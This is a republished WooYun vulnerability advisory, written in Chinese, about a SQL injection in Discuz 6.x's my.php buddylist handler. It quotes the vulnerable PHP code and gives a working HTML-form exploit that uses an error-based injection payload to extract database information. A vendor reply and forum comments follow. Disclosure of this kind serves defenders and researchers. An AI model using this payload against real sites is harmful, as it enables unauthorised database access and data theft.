Discuz某版本SQL注射漏洞

2015年7月16日19:41:46评论269 views字数 202阅读0分40秒阅读模式

摘要

2014-10-22：细节已通知厂商并且等待厂商处理中
2014-10-23：厂商已经确认，细节仅向厂商公开
2014-10-26：细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-12-17：细节向核心白帽子及相关领域专家公开
2014-12-27：细节向普通白帽子公开
2015-01-06：细节向实习白帽子公开
2015-01-20：细节向公众公开

漏洞概要关注数(65) 关注此漏洞

缺陷编号： WooYun-2014-80359

漏洞标题： Discuz某版本SQL注射漏洞

漏洞作者：路人甲

提交时间： 2014-10-22 16:04

公开时间： 2015-01-20 16:06

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

12人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

只测试了6.x

貌似7.x就修复了

code 区域

my.php (600) :
 02
 } elseif($item == 'buddylist') {
 03
  
 04
         if(!submitcheck('buddysubmit', 1)) {
 05
                 $buddylist = array();
 06
                 $query = $db->query("SELECT b.*, m.username FROM {$tablepre}buddys b, {$tablepre}members m
 07
                         WHERE b.uid='$discuz_uid' AND m.uid=b.buddyid ORDER BY dateline DESC");
 08
                 while($buddy = $db->fetch_array($query)) {
 09
                         $buddy['dateline'] = gmdate("$dateformat $timeformat", $buddy['dateline'] + $timeoffset * 3600);
 10
                         $buddylist[] = $buddy;
 11
                 }
 12
  
 13
         } else {
 14
  
 15
                 $buddyarray = array();
 16
                 $query = $db->query("SELECT * FROM {$tablepre}buddys WHERE uid='$discuz_uid'");
 17
                 while($buddy = $db->fetch_array($query)) {
 18
                         $buddyarray[$buddy['buddyid']] = $buddy;
 19
                 }
 20
  
 21
                 if(!empty($delete) && is_array($delete)) {
 22
                         $db->query("DELETE FROM {$tablepre}buddys WHERE uid='$discuz_uid' AND buddyid IN ('".implode('/',/'', $delete)."')");
 23
                 }
 24
  
 25
                 if(is_array($descriptionnew)) {
 26
  
 27
                         foreach($descriptionnew as $buddyid => $desc) { //无过滤
 28
                                 if(($desc = cutstr(dhtmlspecialchars($desc), 255)) != addslashes($buddyarray[$buddyid]['description'])) {
 29
                                         $db->query("UPDATE {$tablepre}buddys SET description='$desc' WHERE uid='$discuz_uid' AND buddyid='$buddyid'"); //数组key值$buddyid直接带入
 30
                                 }
 31
                         }
 32
                 }

上exp了、

code 区域

<form method='post' action='http://dz6.0/my.php?item=buddylist'>
 <input type='hidden' value="1111" name="descriptionnew[1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e,0x5430304C5320474F21,0x7e)  limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1#]" /><br />
 <input type='submit' value='buddysubmit' name='buddysubmit' /><br />
 </form>

漏洞证明：

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-10-23 09:03

厂商回复：

感谢您提出的问题，不过此版本太老，目前已经不再维护。建议正在使用此程序的站点尽快升级。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

评价

2014-10-22 16:05 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

0

挖槽

1# 回复此人
2014-10-22 16:06 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫，我笑世人看不穿~)

0

火钳刘明！

2# 回复此人
2014-10-22 16:18 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

0

我猜是7.2

3# 回复此人
2014-10-22 16:23 | 小威 ( 普通白帽子 | Rank:535 漏洞数:87 | 活到老，学到老!)

0

路人甲专撸各种疑难杂站

4# 回复此人
2014-10-22 16:24 | phith0n ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

0

我去，好刺激，我猜猜猜版本比较老

5# 回复此人
2014-10-22 16:24 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦我的宝贝 | ..)

0

某版本？

6# 回复此人
2014-10-22 16:48 | ′ 雨。 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

0

猜到了一定是6.0 @疯狗我猜对了吗

7# 回复此人
2014-10-22 17:48 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

@phith0n @′ 雨继续猜、我猜8.x

8# 回复此人
2014-10-22 17:58 | ′ 雨。 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

0

@老和尚应该是6.x 的因为之前有人公布了个注入嘛

9# 回复此人
2014-10-22 18:00 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群有漂亮妹纸！)

0

留名

10# 回复此人
2014-10-22 19:07 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

@′ 雨。 .........

11# 回复此人
2014-10-23 09:48 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

0

目测，洞主500

12# 回复此人
2014-10-23 12:30 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

@贫道来自河北这个、、上面没看到$、或许一毛钱都没有

13# 回复此人
2014-10-27 14:21 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

0

@′ 雨。呃目测是老版本的漏洞

14# 回复此人
2014-10-27 14:25 | ′ 雨。 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

0

@疯狗 $descriptionnew? 狗哥能不能帮我update下我的名字。。帮我把中间的两个空格去掉把。收不到at太烦了。顺便求审核啊。好不容易发几个洞的。

15# 回复此人
2014-10-27 15:29 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

@′ 雨。鼓掌。。。哈哈哈哈哈。

16# 回复此人
2014-11-12 09:14 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

1

@′ 雨。你发的洞？

17# 回复此人
2014-11-12 12:21 | ′雨。 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

1

@wefgod 不是。。我一猜就是这个洞。这是别人之前就公开的。。只能说不厚道。

18# 回复此人
2014-11-13 11:23 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

1

@′雨。哦哦这样啊

19# 回复此人
2014-11-13 11:46 | ′雨。 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

1

@wefgod 看他这代码前面还有 02 03 这些行数。肯定是从论坛上面直接复制的。。:)

20# 回复此人
2015-02-06 22:46 | 风炫 ( 路人 | Rank:2 漏洞数:6 | 菊花残，满地伤)

0

老版本哦？我看discuz源码的时候query()函数有好几个过滤函数，像' "单引号和双引号都会被转义的。你们有突破方法吗？我看了倒是有好多discuz插件的漏洞。但都过滤太死了。求突破

21# 回复此人

漏洞概要 关注数(65) 关注此漏洞